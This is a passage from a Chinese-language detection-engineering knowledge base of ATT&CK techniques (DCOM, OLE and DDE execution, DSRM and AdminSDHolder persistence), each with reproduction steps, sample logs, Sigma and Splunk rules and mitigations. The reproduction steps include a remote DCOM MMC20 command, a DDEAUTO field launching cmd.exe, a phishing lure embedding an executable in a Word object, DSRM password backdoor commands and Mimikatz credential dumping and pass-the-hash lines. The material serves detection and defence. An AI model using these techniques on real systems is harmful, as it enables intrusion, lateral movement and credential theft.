``` 3. **远程DCOM执行命令(可选)** 使用DCOM在远程主机(IP:192.168.1.100)上执行命令: ```powershell $com = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application", "192.168.1.100")) $com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c calc.exe", "Minimized") ``` - 确保防火墙允许DCOM通信(端口135、动态端口),且用户具有远程DCOM权限。 **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\calc.exe CommandLine: calc.exe ParentImage: C:\Windows\System32\mmc.exe User: JACKMA\Administrator IntegrityLevel: High ``` - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process ID: 0x1234 New Process Name: C:\Windows\System32\calc.exe Process Command Line: calc.exe Creator Process Name: C:\Windows\System32\mmc.exe Token Elevation Type: TokenElevationTypeDefault (1) ``` - **Sysmon日志(事件ID 3,远程DCOM)**: ```plaintext EventID: 3 Image: C:\Windows\System32\svchost.exe DestinationIp: 192.168.1.100 DestinationPort: 135 Protocol: tcp ``` - **Sysmon日志(事件ID 7)**: ```plaintext EventID: 7 Image: C:\Windows\System32\mmc.exe ImageLoaded: C:\Windows\System32\mmc20.dll ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon、Windows安全日志和RPC日志,检测COM/DCOM的异常执行行为。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,检测由COM/DCOM触发的异常子进程(如`calc.exe`由`mmc.exe`启动)。 - 监控Sysmon事件ID 7,检查COM服务器DLL的加载,识别非典型DLL。 - 监控Sysmon事件ID 3,检测DCOM的RPC通信(端口135或动态端口)。 - 检查RPC日志,识别异常的DCOM调用。 2. **Sigma规则**: ```yaml title: 可疑的COM/DCOM执行行为 id: 5e6f7a8b-9c0d-1e2f-3c4d-5e6f7a8b9c0d status: experimental description: 检测COM/DCOM触发的异常进程创建,可能表明恶意执行 references: - https://attack.mitre.org/techniques/T1559/001/ - https://www.freebuf.com/articles/network/261454.html tags: - attack.execution - attack.lateral_movement - attack.t1559.001 - attack.t1021.003 logsource: category: process_creation product: windows detection: selection: EventID: - 1 # Sysmon - 4688 # Windows安全日志 ParentImage|endswith: - '\mmc.exe' - '\excel.exe' - '\winword.exe' - '\outlook.exe' - '\explorer.exe' Image|endswith: - '\cmd.exe' - '\powershell.exe' - '\calc.exe' condition: selection fields: - CommandLine - ParentCommandLine falsepositives: - 合法的自动化脚本 - 管理员运行的维护工具 level: high ``` 3. **SIEM规则**: - 检测COM/DCOM触发的异常进程。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 ParentImage IN ("*\mmc.exe", "*\excel.exe", "*\winword.exe", "*\outlook.exe", "*\explorer.exe") Image IN ("*\cmd.exe", "*\powershell.exe", "*\calc.exe") | stats count by Image, CommandLine, ParentImage, ComputerName, User ``` 4. **网络流量分析**: - 监控DCOM的RPC流量(端口135及动态端口)。 - 示例Wireshark过滤器: ```plaintext tcp.port == 135 or (tcp.port >= 1024 and tcp.port <= 65535 and dcerpc) ``` 5. **注册表监控**: - 检查COM对象注册表项,识别异常或新注册的COM服务器。 - 路径:`HKLM\Software\Classes\CLSID` 或 `HKLM\Software\Classes\AppID`。 6. **威胁情报整合**: - 检查COM/DCOM触发的进程、DLL或网络连接是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御COM/DCOM的恶意使用需从权限控制、系统加固和监控入手: 1. **限制DCOM权限** - 配置DCOM权限,仅允许授权用户访问特定COM对象。 - 路径:`运行 > dcomcnfg > 组件服务 > 计算机 > 我的电脑 > DCOM配置`。 2. **禁用不必要的COM/DCOM** - 禁用未使用的COM对象或限制其注册。 3. **网络访问控制** - 配置防火墙,限制DCOM的RPC通信(端口135、动态端口1024-65535)。 4. **凭据保护** - 启用多因素认证(MFA)保护管理员账户。 - 限制域用户对远程DCOM的访问权限。 5. **日志和监控** - 启用命令行参数记录和Sysmon日志,监控COM/DCOM触发的进程和DLL加载。 - 配置SIEM检测异常的COM/DCOM执行行为。 - 使用EDR工具监控进程行为和注册表变化。 6. **定期审计** - 使用PowerShell或工具(如COMRaider)枚举COM对象,检查异常注册。 ### 检测 检测工作应集中在COM/DCOM的异常执行行为上,包括但不限于: - **进程行为监控**:分析Sysmon或Windows安全日志,检测由`mmc.exe`、`explorer.exe`等触发的异常子进程。 - **DLL加载监控**:检查COM服务器DLL的加载,识别非典型DLL。 - **网络流量监控**:检测DCOM的RPC通信,识别异常远程调用。 - **注册表监控**:检查COM对象注册表项,识别恶意注册。 - **威胁情报整合**:结合威胁情报,分析COM/DCOM行为是否与已知攻击活动相关。 ## 参考推荐 - MITRE ATT&CK: T1559.001 - 内网渗透测试:利用DCOM进行横向渗透 ================================================ FILE: Windows/04执行/T1559.002-Win-利用进程间通讯执行-动态数据交换-OLE.md ================================================ # T1559.002-Win-利用进程间通信执行-动态数据交换-OLE ## 描述 攻击者可能滥用Windows动态数据交换(DDE)协议通过对象链接与嵌入(OLE)技术执行任意命令(T1559.002)。DDE是一种客户端-服务器协议,用于应用程序之间的进程间通信(IPC),支持字符串、数据链接(如数据更改通知)、热数据链接(数据复制)及命令执行。OLE最初通过DDE实现文档间数据链接,尽管已被组件对象模型(COM)取代,但通过注册表配置仍可在Windows 10及Microsoft Office 2016+中启用。 攻击者可通过在Microsoft Office文档中嵌入OLE对象(如“Package”对象)或注入DDE命令,触发恶意代码执行,绕过VBA宏限制。常见场景包括通过网络钓鱼分发的Office文档,诱导用户点击嵌入的OLE对象运行恶意可执行文件。DDE/OLE攻击无需直接访问命令行解释器,适合受限环境。检测重点在于识别嵌入的OLE对象、DDE域(如`DDEAUTO`)及异常的Office子进程。 Object Linking and Embedding,对象连接与嵌入,简称OLE技术。OLE 不仅是桌面应用程序集成,而且还定义和实现了一种允许应用程序作为软件“对象”(数据集合和操作数据的函数)彼此进行“连接”的机制,这种连接机制和协议称为组件对象模型(COM)。OLE可以用来创建复合文档,复合文档包含了创建于不同源应用程序,有着不同类型的数据,因此它可以把文字、声音、图像、表格、应用程序等组合在一起。 ## 测试案例 1. **通过OLE嵌入恶意文件** 攻击者将恶意可执行文件嵌入Word文档的“Package”对象,诱导用户点击执行。 2. **结合DDE命令执行** 攻击者在Office文档中使用DDE域(如`DDEAUTO`)触发`cmd.exe`,运行恶意Payload。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含OLE/DDE触发的子进程(如`cmd.exe`或嵌入的EXE)信息(需启用命令行记录)。 - **事件ID 4689**:记录进程终止,用于关联进程生命周期。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含OLE/DDE触发的子进程、命令行和父进程(如`winword.exe`)信息。 - **事件ID 3**:记录网络连接,可能涉及恶意Payload的远程通信。 - **事件ID 7**:记录DLL加载,可能涉及Office加载异常DLL。 - **事件ID 11**:记录文件创建,可能涉及嵌入的恶意文件解包。 **配置日志记录** - 启用命令行参数记录: - 路径:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`(Windows Server 2008及以上)。 - 部署Sysmon以增强进程、DLL加载、文件和网络活动监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+,安装Microsoft Office(2016+)。 - **权限**:普通用户权限(OLE/DDE执行无需管理员权限)。 - **工具**:Microsoft Word,Sysmon及Windows安全日志启用。 - **文件**:准备恶意可执行文件(如`malware.exe`)。 ### 攻击步骤 1. **准备恶意文件** - 将恶意文件(如`malware.exe`)放置在靶机的临时目录: ```cmd %temp% ``` 2. **创建OLE文档** - 打开Microsoft Word,创建一个新文档(`ole.docx`)。 - 点击`插入 > 对象 > 对象类型 > Package`。 - 在“Package”对话框中,选择`从文件`,选中`%temp%\malware.exe`。 - 修改对象标签为诱导名称(如“Click Me”)。 - 保存文档为`ole.docx`。 3. **分发文档** - 模拟钓鱼攻击,将`ole.docx`通过邮件或文件共享发送至靶机。 4. **用户执行** - 在靶机上双击打开`ole.docx`。 - 双击文档中的“Click Me”对象,Word可能弹出安全警告,点击“确定”执行。 - 观察是否运行`malware.exe`。 5. **验证结果** - 确认`malware.exe`是否运行。 - 检查日志: - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Users\12306Br0\AppData\Local\Temp\malware.exe CommandLine: malware.exe ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE User: JACKMA\12306Br0 IntegrityLevel: Medium ``` - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process ID: 0x1234 New Process Name: C:\Users\12306Br0\AppData\Local\Temp\malware.exe Process Command Line: malware.exe Creator Process Name: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE Token Elevation Type: TokenElevationTypeLimited (3) ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Users\12306Br0\AppData\Local\Temp\malware.exe CommandLine: malware.exe ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE User: JACKMA\12306Br0 IntegrityLevel: Medium ``` - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process ID: 0x1234 New Process Name: C:\Users\12306Br0\AppData\Local\Temp\malware.exe Process Command Line: malware.exe Creator Process Name: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE Token Elevation Type: TokenElevationTypeLimited (3) ``` - **Sysmon日志(事件ID 11)**: ```plaintext EventID: 11 Image: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE TargetFilename: C:\Users\12306Br0\AppData\Local\Temp\malware.exe CreationUtcTime: 2025-06-07 00:05:00Z ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon、Windows安全日志和文件内容,检测OLE/DDE的异常执行行为。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,检测由Office应用程序(如`winword.exe`)触发的异常子进程(如`cmd.exe`或嵌入的EXE)。 - 监控Sysmon事件ID 7,检查Office加载的异常DLL。 - 监控Sysmon事件ID 11,检测OLE解包的恶意文件创建。 - 监控Sysmon事件ID 3,检测恶意Payload的网络连接。 2. **文件内容扫描**: - 扫描Office文档(`.docx`、`.xlsx`)或XML文件中的`DDEAUTO`、`DDE`或`Package`关键字。 - 示例PowerShell脚本: ```powershell Get-ChildItem -Path "C:\Users\*\Documents" -Include *.docx,*.xlsx -Recurse | ForEach-Object { Select-String -Path $_.FullName -Pattern "DDEAUTO|DDE|Package" } ``` 3. **Sigma规则**: ```yaml title: 可疑的OLE/DDE执行行为 id: 7a8b9c0d-1e2f-3c4d-5e6f-7a8b9c0d1e2f status: experimental description: 检测Office应用程序通过OLE/DDE触发异常子进程,可能表明恶意执行 references: - https://attack.mitre.org/techniques/T1559/002/ tags: - attack.execution - attack.t1559.002 logsource: category: process_creation product: windows detection: selection: EventID: - 1 # Sysmon - 4688 # Windows安全日志 ParentImage|endswith: - '\winword.exe' - '\excel.exe' - '\powerpnt.exe' - '\outlook.exe' Image|endswith: - '\cmd.exe' - '\powershell.exe' - '.exe' condition: selection fields: - CommandLine - ParentCommandLine falsepositives: - 合法的Office嵌入对象 - 管理员运行的测试脚本 level: high ``` 4. **SIEM规则**: - 检测Office应用程序触发的异常子进程。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 ParentImage IN ("*\winword.exe", "*\excel.exe", "*\powerpnt.exe", "*\outlook.exe") Image IN ("*\cmd.exe", "*\powershell.exe", "*.exe") | stats count by Image, CommandLine, ParentImage, ComputerName, User ``` 5. **威胁情报整合**: - 检查OLE/DDE触发的子进程、文件或网络连接是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御OLE/DDE的恶意使用需从配置加固、权限控制和监控入手: 1. **禁用DDE功能** - 在Microsoft Office中禁用DDE: - Word:`文件 > 选项 > 高级 > 常规 > 取消选中“更新自动链接”`。 - 注册表配置(全局禁用DDE): ```powershell Set-ItemProperty -Path "HKCU:\Software\Microsoft\Office\*\Word\Options" -Name "DontUpdateLinks" -Value 1 ``` 2. **限制OLE对象执行** - 禁用Office文档中的嵌入对象执行: - 组策略:`用户配置 > 管理模板 > Microsoft Word > Word选项 > 安全 > 阻止嵌入对象的激活`。 - 配置AppLocker,限制Office生成子进程: ```plaintext Path: %PROGRAMFILES%\Microsoft Office\root\Office*\WINWORD.EXE Action: Allow Condition: Deny Child Process Creation ``` 3. **启用安全警告** - 确保Office提示OLE/DDE域更新或对象执行警告。 - 组策略:`用户配置 > 管理模板 > Microsoft Word > Word选项 > 安全 > 自动更新链接时提示`。 4. **凭据保护** - 启用多因素认证(MFA)保护用户账户。 - 实施强密码策略,避免凭据泄露。 5. **日志和监控** - 启用命令行参数记录和Sysmon日志,监控Office触发的子进程、DLL加载和文件创建。 - 配置SIEM检测OLE/DDE相关的异常行为。 - 使用EDR工具扫描Office文档中的`DDEAUTO`、`DDE`或`Package`关键字。 ## 参考推荐 - MITRE ATT&CK: T1559.002 ================================================ FILE: Windows/04执行/T1559.002-win-利用进程间通信执行-动态数据交换-DDE.md ================================================ # T1559.002-win-利用进程间通信执行-动态数据交换-DDE ## 描述 攻击者可能滥用Windows动态数据交换(DDE)协议执行任意命令(T1559.002)。DDE是Windows的进程间通信(IPC)机制,允许客户端与服务器应用程序进行一次性或持续的数据交换,支持字符串、数据链接(如数据更改通知)、热数据链接(数据复制)及命令执行。尽管DDE已被组件对象模型(COM)取代,但通过注册表配置仍可在Windows 10及Microsoft Office 2016+中启用。 攻击者常通过注入DDE命令的Microsoft Office文档(直接或嵌入文件)实现恶意代码执行,绕过VBA宏限制。DDE可通过网络钓鱼或恶意Web内容传播,触发命令执行(如启动`cmd.exe`或远程加载Payload)。在无法直接访问命令行解释器的环境中,DDE提供了一种隐蔽的执行途径。检测重点在于识别DDE域(如`DDEAUTO`)及异常的Office子进程。 ## 测试案例 1. **恶意DDE文档执行命令** 攻击者通过Word文档中的DDE域执行`cmd.exe`,启动计算器或恶意Payload。 2. **网络钓鱼传播DDE** 攻击者通过钓鱼邮件分发含DDE命令的Office文档,诱导用户点击触发命令执行。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含DDE触发的子进程(如`cmd.exe`)信息(需启用命令行记录)。 - **事件ID 4689**:记录进程终止,可能用于关联进程生命周期。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含DDE触发的子进程、命令行和父进程(如`winword.exe`)信息。 - **事件ID 3**:记录网络连接,可能涉及DDE执行的Payload发起的远程通信。 - **事件ID 7**:记录DLL加载,可能涉及Office应用程序加载异常DLL。 **配置日志记录** - 启用命令行参数记录: - 路径:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`(Windows Server 2008及以上)。 - 部署Sysmon以增强进程、DLL加载和网络活动监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+,安装Microsoft Office(2016+)。 - **权限**:普通用户权限(DDE执行无需管理员权限)。 - **工具**:Microsoft Word,Sysmon及Windows安全日志启用。 - **文件**:创建含DDE命令的Word文档。 ### 攻击步骤 1. **创建恶意DDE文档** - 打开Microsoft Word,创建一个新文档(`dde.docx`)。 - 按`Ctrl + F9`插入域,输入以下DDE命令: ```plaintext {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"} ``` - 保存文档为`dde.docx`。 2. **分发文档** - 模拟钓鱼攻击,将`dde.docx`通过邮件或文件共享发送至靶机。 3. **用户执行** - 在靶机上双击打开`dde.docx`。 - Word可能弹出安全警告(如“是否更新域”),点击“是”或“确定”继续。 - 观察是否弹出计算器(`calc.exe`)。 ## 测试留痕 - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\cmd.exe CommandLine: cmd.exe /k calc.exe ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE User: JACKMA\User IntegrityLevel: Medium ``` - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process ID: 0x1234 New Process Name: C:\Windows\System32\cmd.exe Process Command Line: cmd.exe /k calc.exe Creator Process Name: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE Token Elevation Type: TokenElevationTypeLimited (3) ``` - **Sysmon日志(事件ID 7,潜在DLL加载)**: ```plaintext EventID: 7 Image: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE ImageLoaded: C:\Windows\System32\ole32.dll ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon和Windows安全日志,检测DDE的异常执行行为。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,检测由Office应用程序(如`winword.exe`)触发的异常子进程(如`cmd.exe`、`powershell.exe`)。 - 监控Sysmon事件ID 7,检查Office应用程序加载的异常DLL。 - 监控Sysmon事件ID 3,检测DDE执行的Payload引发的网络连接。 2. **文件内容扫描**: - 在Office文档(`.docx`、`.xlsx`)或开放XML文件中扫描`DDEAUTO`或`DDE`关键字。 - 示例PowerShell脚本: ```powershell Get-Content -Path "C:\Users\User\Documents\dde.docx" | Select-String "DDEAUTO|DDE" ``` 3. **Sigma规则**: ```yaml title: 可疑的DDE执行行为 id: 6f7a8b9c-0d1e-2f3c-4d5e-6f7a8b9c0d1e status: experimental description: 检测Office应用程序通过DDE触发异常子进程,可能表明恶意执行 references: - https://attack.mitre.org/techniques/T1559/002/ tags: - attack.execution - attack.t1559.002 logsource: category: process_creation product: windows detection: selection: EventID: - 1 # Sysmon - 4688 # Windows安全日志 ParentImage|endswith: - '\winword.exe' - '\excel.exe' - '\powerpnt.exe' - '\outlook.exe' Image|endswith: - '\cmd.exe' - '\powershell.exe' - '\calc.exe' condition: selection fields: - CommandLine - ParentCommandLine falsepositives: - 合法的Office自动化脚本 - 管理员运行的测试工具 level: high ``` 4. **SIEM规则**: - 检测Office应用程序触发的异常子进程。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 ParentImage IN ("*\winword.exe", "*\excel.exe", "*\powerpnt.exe", "*\outlook.exe") Image IN ("*\cmd.exe", "*\powershell.exe", "*\calc.exe") | stats count by Image, CommandLine, ParentImage, ComputerName, User ``` 5. **威胁情报整合**: - 检查DDE触发的子进程或网络连接是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御DDE的恶意使用需从配置加固、权限控制和监控入手: 1. **禁用DDE功能** - 在Microsoft Office中禁用DDE: - Word:`文件 > 选项 > 高级 > 常规 > 取消选中“更新自动链接”`。 - 注册表配置(全局禁用DDE): ```powershell Set-ItemProperty -Path "HKCU:\Software\Microsoft\Office\*\Word\Options" -Name "DontUpdateLinks" -Value 1 ``` 2. **启用安全警告** - 确保Office提示DDE域更新警告,避免用户误点击。 - 配置组策略:`用户配置 > 管理模板 > Microsoft Word > Word选项 > 高级 > 自动更新链接时提示`。 3. **凭据保护** - 启用多因素认证(MFA)保护用户账户。 - 实施强密码策略,避免凭据泄露。 4. **日志和监控** - 启用命令行参数记录和Sysmon日志,监控Office触发的子进程和DLL加载。 - 配置SIEM检测DDE相关的异常进程行为。 - 使用EDR工具扫描Office文档中的`DDEAUTO`或`DDE`关键字。 ## 参考推荐 - MITRE ATT&CK: T1559.002 ================================================ FILE: Windows/05持久化/T1078.001-Win-DSRM重置密码.md ================================================ # T1078.001-Win-DSRM密码重置 ## 描述 攻击者可能通过凭据访问技术(如窃取、社交工程或侦察)获取特定用户或服务账号的凭据,以获得初始访问或持久化权限(T1078.001)。在域环境中,攻击者可利用目录服务还原模式(DSRM)账户,这是一个存在于每个域控制器(DC)的本地管理员账户,用于在活动目录(AD)故障时进行恢复操作。DSRM账户密码在DC安装时设置,且通常很少变更,易成为攻击目标。 攻击者可通过重置DSRM密码或利用其凭据(明文密码或NTLM哈希)以管理员身份访问DC。Windows Server 2008及以上版本支持将DSRM密码与域账户同步(需手动触发),而当注册表项`DsrmAdminLogonBehavior`设为2时,DSRM账户可通过网络登录DC,支持“哈希传递攻击”(Pass-the-Hash, PtH),实现持久化或特权提升(T1098)。由于DSRM账户本质上是DC的本地`Administrator`账户,其滥用具有高隐蔽性。 检测重点在于监控DSRM密码重置事件、注册表配置更改及异常的DC登录行为。 ## 测试案例 ### 目录还原模式账户 每个域控制器均包含一个DSRM账户,用于目录服务还原模式的本地管理员访问。DSRM密码在DC安装时设置,通常不定期更新。攻击者可通过以下方式利用DSRM账户: 1. **重置DSRM密码**:使用`ntdsutil`工具直接更改DSRM密码。 2. **密码同步**:将DSRM密码与域账户同步(Windows Server 2008+,需KB961320补丁)。 3. **哈希传递攻击**:利用DSRM账户的NTLM哈希通过网络登录DC(需`DsrmAdminLogonBehavior=2`)。 在Windows Server 2008 R2及2012 R2中,DSRM账户的滥用可实现持久化,即使域内所有用户和计算机密码被重置,攻击者仍能通过DSRM凭据维持DC管理员权限。 ## 检测日志 **Windows安全日志** - **事件ID 4794**:记录尝试设置DSRM管理员密码的操作。 - **事件ID 4624**:记录DSRM账户的登录事件(需关注本地登录,Logon Type 2)。 - **事件ID 4672**:记录DSRM账户的权限分配。 **Sysmon日志** - **事件ID 1**:记录进程创建,可能涉及`ntdsutil.exe`或`mimikatz.exe`的执行。 - **事件ID 13**:记录注册表修改,如`DsrmAdminLogonBehavior`值的更改。 **配置日志记录** - 启用审核策略:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 帐户管理 > 审核用户帐户管理`。 - 部署Sysmon以监控进程、注册表和网络活动。 ## 测试复现 ### 0x00 更改DSRM账号密码 在域控制器上以管理员权限运行以下命令: ```dos NTDSUTIL set dsrm password reset password on server null Q Q ``` **实际测试结果**: ```dos C:\Users\Administrator>ntdsutil ntdsutil: set dsrm password 重置 DSRM 管理员密码: reset password on server null 请键入 DS 还原模式 Administrator 帐户的密码: ********* 请确认新密码: ********* 密码设置成功。 重置 DSRM 管理员密码: Q ntdsutil: Q ``` ### 0x01 使用域帐户同步DSRM账户密码 以域管理员身份登录DC,启动管理员权限的CMD,运行: ```dos NTDSUTIL SET DSRM PASSWORD SYNC FROM DOMAIN ACCOUNT xiaomi Q Q ``` ### 0x02 使用DSRM作为活动目录的后门 DSRM账户本质上是DC的本地`Administrator`账户,攻击者可利用其凭据通过网络登录DC。步骤如下: 1. 创建域用户(如`xiaomi`)并设置已知密码。 2. 使用`ntdsutil`同步DSRM密码(参考0x01)。 3. 使用Mimikatz验证DSRM账户: ```dos mimikatz "sekurlsa::logonpasswords" exit ``` ### 0x03 使用DSRM凭证的哈希传递攻击 当`DsrmAdminLogonBehavior=2`时,攻击者可利用DSRM账户的NTLM哈希进行PtH攻击。步骤如下: 1. 确认注册表配置: ```reg HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior = 2 ``` 2. 使用Mimikatz执行PtH: ```dos mimikatz "privilege::debug" "sekurlsa::pth /domain:xiaomi.org /user:administrator /ntlm:7c08d63a2f48f045971bc2236ed3f3ac" exit ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Windows安全日志(事件ID 4794)**: ```plaintext EventID: 4794 Source: Microsoft-Windows-Security-Auditing Description: An attempt was made to set the Directory Services Restore Mode administrator password. Account Name: Administrator Account Domain: JACKMA ``` - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\ntdsutil.exe CommandLine: ntdsutil.exe ParentImage: C:\Windows\System32\cmd.exe User: JACKMA\Administrator IntegrityLevel: High ``` - **Sysmon日志(事件ID 13)**: ```plaintext EventID: 13 Image: C:\Windows\System32\reg.exe TargetObject: HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior Details: Set to DWORD 2 ``` ## 检测规则/思路 **检测规则** 通过分析Windows安全日志和Sysmon日志,检测DSRM密码重置及滥用行为。以下是具体思路: 1. **日志分析**: - 监控事件ID 4794,检测DSRM密码重置尝试。 - 监控事件ID 4624,检测DSRM账户的异常登录(Logon Type 2,账户为`Administrator`)。 - 监控Sysmon事件ID 13,检测`DsrmAdminLogonBehavior`注册表修改。 - 监控Sysmon事件ID 1,检测`ntdsutil.exe`或`mimikatz.exe`的异常执行。 2. **Sigma规则**: ```yaml title: 目录服务还原模式(DSRM)账户密码更改或滥用 id: 8b9c0d1e-2f3c-4d5e-6f7a-8b9c0d1e2f3c status: stable description: 检测DSRM账户密码重置或异常登录,可能表明持久化或特权提升 references: - https://attack.mitre.org/techniques/T1078/001/ - https://adsecurity.org/?p=1714 - https://www.freebuf.com/articles/system/80968.html tags: - attack.persistence - attack.privilege_escalation - attack.t1078.001 - attack.t1098 logsource: product: windows service: security detection: selection_4794: EventID: 4794 # DSRM密码重置尝试 selection_4624: EventID: 4624 LogonType: 2 AccountName: Administrator WorkstationName|startswith: condition: selection_4794 or selection_4624 fields: - AccountName - WorkstationName - LogonType falsepositives: - 域控制器初始安装 - 合法的DSRM维护操作 level: high ``` 3. **Sysmon规则**: ```yaml title: DSRM相关进程或注册表修改 id: 9c0d1e2f-3c4d-5e6f-7a8b-9c0d1e2f3c4d status: experimental description: 检测ntdsutil.exe执行或DsrmAdminLogonBehavior注册表修改 author: Grok date: 2025/06/07 logsource: product: windows category: process_creation detection: selection_process: EventID: 1 Image|endswith: '\ntdsutil.exe' selection_registry: EventID: 13 TargetObject|contains: '\Control\Lsa\DsrmAdminLogonBehavior' Details|contains: '2' condition: selection_process or selection_registry fields: - Image - CommandLine - TargetObject falsepositives: - 管理员进行DSRM维护 level: medium ``` 4. **SIEM规则**: - 检测DSRM密码重置或登录行为。 - 示例Splunk查询: ```spl source="WinEventLog:Security" (EventCode=4794 OR (EventCode=4624 LogonType=2 AccountName="Administrator")) | stats count by EventCode, AccountName, WorkstationName, ComputerName ``` 5. **注册表监控**: - 监控`HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior`的值,值为1或2时触发告警。 - 示例PowerShell监控脚本: ```powershell Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" | Where-Object { $_.DsrmAdminLogonBehavior -in @(1,2) } ``` 6. **威胁情报整合**: - 检查DSRM相关事件是否与已知攻击工具(如Mimikatz)或行为模式相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御DSRM账户滥用需从权限控制、配置加固和监控入手: 1. **限制DSRM账户使用** - 将`DsrmAdminLogonBehavior`设为0,禁用网络登录: ```powershell Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 0 ``` 2. **定期更新DSRM密码** - 定期重置DSRM密码并存储在安全位置(如密码管理器)。 - 示例脚本(需管理员权限): ```powershell ntdsutil "set dsrm password" "reset password on server null" "" q q ``` 3. **限制密码同步** - 避免将DSRM密码与域账户同步,除非必要。 - 定期审计同步操作。 4. **网络访问控制** - 限制DC的RDP和SMB访问,仅允许白名单IP。 - 示例防火墙规则: ```powershell New-NetFirewallRule -DisplayName "Block DC RDP" -Direction Inbound -LocalPort 3389 -Protocol TCP -Action Block ``` 5. **凭据保护** - 启用多因素认证(MFA)保护域管理员账户。 - 使用受限管理员模式(Restricted Admin Mode)减少凭据暴露。 6. **日志和监控** - 启用事件ID 4794和4624的监控,检测DSRM密码重置和登录。 - 配置Sysmon监控`ntdsutil.exe`和注册表更改。 - 使用EDR工具检测Mimikatz或其他PtH工具的执行。 7. **定期审计** - 检查`DsrmAdminLogonBehavior`值及DSRM账户活动。 - 示例PowerShell命令: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4794 } | Select-Object TimeCreated, Message ``` ### 检测 检测工作应集中在DSRM账户的异常行为上,包括: - **密码重置监控**:分析事件ID 4794,检测DSRM密码更改。 - **登录行为监控**:检测DSRM账户的本地登录(事件ID 4624,Logon Type 2)。 - **注册表监控**:检查`DsrmAdminLogonBehavior`值为1或2的修改。 - **进程监控**:检测`ntdsutil.exe`或`mimikatz.exe`的异常执行。 - **威胁情报整合**:分析DSRM相关事件是否与已知攻击活动相关。 ## 参考推荐 - MITRE ATT&CK: T1078.001 - 域控权限持久化之DSRM - 巧用DSRM密码同步将域控权限持久化 - AD Security: DSRM Account ================================================ FILE: Windows/05持久化/T1098-Win-AdminSDHolder.md ================================================ # T1098-Win-AdminSDHolder ## 描述 攻击者通过账户操作技术维持对目标环境的凭据或特定权限级别的持久化访问(T1098)。AdminSDHolder是Active Directory(AD)中的一个特殊容器(`CN=AdminSDHolder,CN=System,DC=`),其访问控制列表(ACL)作为受保护账户和组(如Domain Admins、Enterprise Admins)的权限模板。AD的SDProp(Security Descriptor Propagator)进程每60分钟(默认)将AdminSDHolder的ACL同步到受保护对象,确保其权限一致性,防止意外修改。 攻击者可通过修改AdminSDHolder的ACL,间接赋予特定用户对所有受保护账户和组的权限(如完全控制),实现域环境的持久化控制。此技术需域管理员权限,且修改会在下次SDProp运行时生效(默认60分钟)。由于AdminSDHolder的ACL更改较为罕见,检测其异常修改是关键。 ## 测试案例 AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护的AD账户和组的模板。 Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的。 